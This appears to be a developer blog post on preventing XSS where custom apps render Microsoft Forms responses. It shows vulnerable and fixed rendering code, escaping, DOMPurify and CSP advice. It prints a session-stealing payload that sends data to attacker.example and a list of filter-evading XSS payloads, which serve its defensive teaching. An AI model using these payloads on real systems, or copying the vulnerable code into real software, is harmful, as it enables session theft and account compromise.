Microsoft Forms itself is a hosted Microsoft product, so most developers are not patching the platform directly. The real problem shows up around it: custom portals embedding forms, internal dashboards rendering form responses, automation flows pushing responses into web apps, and admins exporting untrusted content into HTML-based reports.
That is where XSS becomes very real.
If your app takes data from Microsoft Forms and later renders it into a page, email preview, admin panel, or reporting widget, you own the output encoding problem. I’ve seen teams assume “it came from a Microsoft product, so it must be safe.” That assumption is how stored XSS survives code review.
Where XSS appears in Microsoft Forms workflows
The risky pattern is simple:
- A user submits text into a Microsoft Form
- That response is collected through Graph API, Power Automate, Excel export, or webhook-like integration
- A custom app displays the response in HTML
- The app treats the text as trusted
Classic stored XSS.
Common examples:
- Internal HR tools displaying anonymous feedback
- Support portals showing customer-submitted issue details
- Education dashboards rendering student responses
- Reporting pages that build HTML snippets from form answers
- Admin SPAs that inject response content into the DOM
If you render form data with innerHTML, template concatenation, unsafe markdown, or weak sanitization, you have a problem.
A realistic vulnerable flow
Imagine you pull Microsoft Forms responses into your Node app and render them in an admin dashboard.
Vulnerable server-side template usage
app.get("/responses/:id", async (req, res) => {
const response = await db.responses.findById(req.params.id);
res.send(`
<html>
<body>
<h1>Form Response</h1>
<div class="answer">
${response.comments}
</div>
</body>
</html>
`);
});
If response.comments contains this:
<img src=x onerror=alert('xss')>
your admin dashboard executes attacker-controlled JavaScript.
That payload could just as easily be:
<script>
fetch('/api/session', { credentials: 'include' })
.then(r => r.text())
.then(x => location='https://attacker.example/steal?d='+encodeURIComponent(x))
</script>
If an authenticated reviewer opens that response, game over.
Client-side rendering is often worse
A lot of teams fetch form responses via API and render them into a SPA.
Vulnerable frontend code
<div id="responses"></div>
<script>
async function loadResponses() {
const res = await fetch('/api/forms/responses');
const data = await res.json();
const container = document.getElementById('responses');
data.forEach(item => {
container.innerHTML += `
<div class="response">
<h3>${item.name}</h3>
<p>${item.comments}</p>
</div>
`;
});
}
loadResponses();
</script>
This is a textbook DOM XSS sink. If comments or even name contains HTML, the browser parses it.
Safer version:
<div id="responses"></div>
<script>
async function loadResponses() {
const res = await fetch('/api/forms/responses');
const data = await res.json();
const container = document.getElementById('responses');
data.forEach(item => {
const wrapper = document.createElement('div');
wrapper.className = 'response';
const title = document.createElement('h3');
title.textContent = item.name;
const body = document.createElement('p');
body.textContent = item.comments;
wrapper.appendChild(title);
wrapper.appendChild(body);
container.appendChild(wrapper);
});
}
loadResponses();
</script>
textContent is boring. That’s why it works.
Attack payloads developers actually miss
People often test only <script>alert(1)</script>. Modern XSS payloads are usually more annoying and more realistic.
Examples that often slip through weak filters:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">click me</a>
<div onclick="fetch('/logout',{credentials:'include'})">test</div>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
If your “sanitizer” only strips <script> tags, you are not sanitizing anything useful.
Microsoft Forms data is untrusted input
Treat every field as attacker-controlled, including:
- Short answer
- Long answer
- File names from uploads
- Choice labels if they are admin-configurable
- Metadata synced from external systems
- Display names if responses are joined with directory data
Even if Microsoft Forms validates some UI interactions, once the data leaves the product and enters your app, your app must enforce safe handling.
Output encoding beats regex filtering
The best defense is context-aware output encoding.
Different contexts need different handling:
- HTML body: encode
<,>,&,",' - HTML attributes: attribute encoding
- JavaScript strings: JS string escaping
- URL parameters: URL encoding
- CSS context: avoid dynamic insertion if possible
If you use a modern template engine, lean on auto-escaping.
Example with Nunjucks or similar escaping template engines
<div class="answer">{{ comments }}</div>
That is safe if auto-escaping is enabled.
Unsafe version:
<div class="answer">{{ comments | safe }}</div>
That safe flag is where teams usually create their own incident.
Express with explicit escaping
If you absolutely must render manually:
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get("/responses/:id", async (req, res) => {
const response = await db.responses.findById(req.params.id);
res.send(`
<html>
<body>
<h1>Form Response</h1>
<div class="answer">${escapeHtml(response.comments)}</div>
</body>
</html>
`);
});
That is still not my favorite pattern, but it is dramatically safer than raw interpolation.
If you allow rich text, sanitize properly
Sometimes the product requirement is “admins want formatting.” Fine. Then use a real HTML sanitizer.
Example with DOMPurify in the browser
<script src="https://unpkg.com/[email protected]/dist/purify.min.js"></script>
<div id="preview"></div>
<script>
const untrustedHtml = '<p>Hello</p><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(untrustedHtml, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'ul', 'ol', 'li', 'br'],
ALLOWED_ATTR: []
});
document.getElementById('preview').innerHTML = clean;
</script>
Example with server-side sanitization
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
function sanitizeRichText(input) {
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'ul', 'ol', 'li', 'br'],
ALLOWED_ATTR: []
});
}
Sanitize only when you intentionally allow HTML. If plain text is enough, do not sanitize and render as HTML. Escape and render as text.
CSP helps, but it won’t save sloppy rendering
A strong Content Security Policy can reduce blast radius when XSS slips through. It can block inline scripts, external attacker-controlled scripts, and some dangerous script execution paths.
A decent starting point:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
object-src 'none';
base-uri 'self';
frame-ancestors 'self';
img-src 'self' data: https:;
style-src 'self';
connect-src 'self';
form-action 'self';
If you need help building a sane policy, csp-guide.com is useful.
Still, be honest about what CSP does not do:
- It does not fix unsafe
innerHTML - It does not make dangerous DOM APIs safe
- It does not replace output encoding
- Weak CSP with
'unsafe-inline'is mostly security theater
If you want to quickly inspect your response headers while locking this down, HeaderTest is handy.
Don’t forget downstream XSS in exports and emails
A sneaky Microsoft Forms issue is secondary rendering.
Example workflow:
- Form response goes to Power Automate
- Flow writes data into a database
- Admin exports records into an HTML email preview page
- Preview renders unescaped user comments
Or:
- Responses are displayed inside a custom “printable report”
- Report builder supports rich snippets
- Developer uses
dangerouslySetInnerHTMLin React
Dangerous React example
function ResponseCard({ response }) {
return (
<div>
<h3>{response.name}</h3>
<div dangerouslySetInnerHTML={{ __html: response.comments }} />
</div>
);
}
Safer React version:
function ResponseCard({ response }) {
return (
<div>
<h3>{response.name}</h3>
<p>{response.comments}</p>
</div>
);
}
If rich text is required, sanitize before use:
import DOMPurify from "dompurify";
function ResponseCard({ response }) {
const clean = DOMPurify.sanitize(response.comments, {
ALLOWED_TAGS: ["p", "strong", "em", "ul", "ol", "li", "br"],
ALLOWED_ATTR: []
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Practical review checklist
When I review apps that ingest Microsoft Forms data, I check these first:
- Are form responses ever inserted with
innerHTML? - Are server templates using raw interpolation?
- Is React using
dangerouslySetInnerHTML? - Are admins viewing stored responses in privileged contexts?
- Is rich text actually required?
- Is sanitization allowlist-based, not blacklist-based?
- Is CSP deployed without
'unsafe-inline'? - Are export, preview, and reporting features tested for stored XSS?
- Are uploaded file names and metadata escaped too?
Good default architecture
If you want the low-drama version:
- Treat all Microsoft Forms data as untrusted
- Store raw input
- Escape on output by default
- Allow rich HTML only in explicitly approved fields
- Sanitize those fields with a proven library
- Add a strict CSP
- Test stored XSS in every viewer, previewer, export page, and admin tool
That’s the pattern that holds up.
Microsoft Forms is rarely the weak point by itself. The dangerous part is what developers build around it. Most XSS bugs here are self-inflicted: unsafe rendering, fake sanitization, and too much trust in upstream systems. If your app displays form responses, you need to defend that boundary like any other user-generated content pipeline.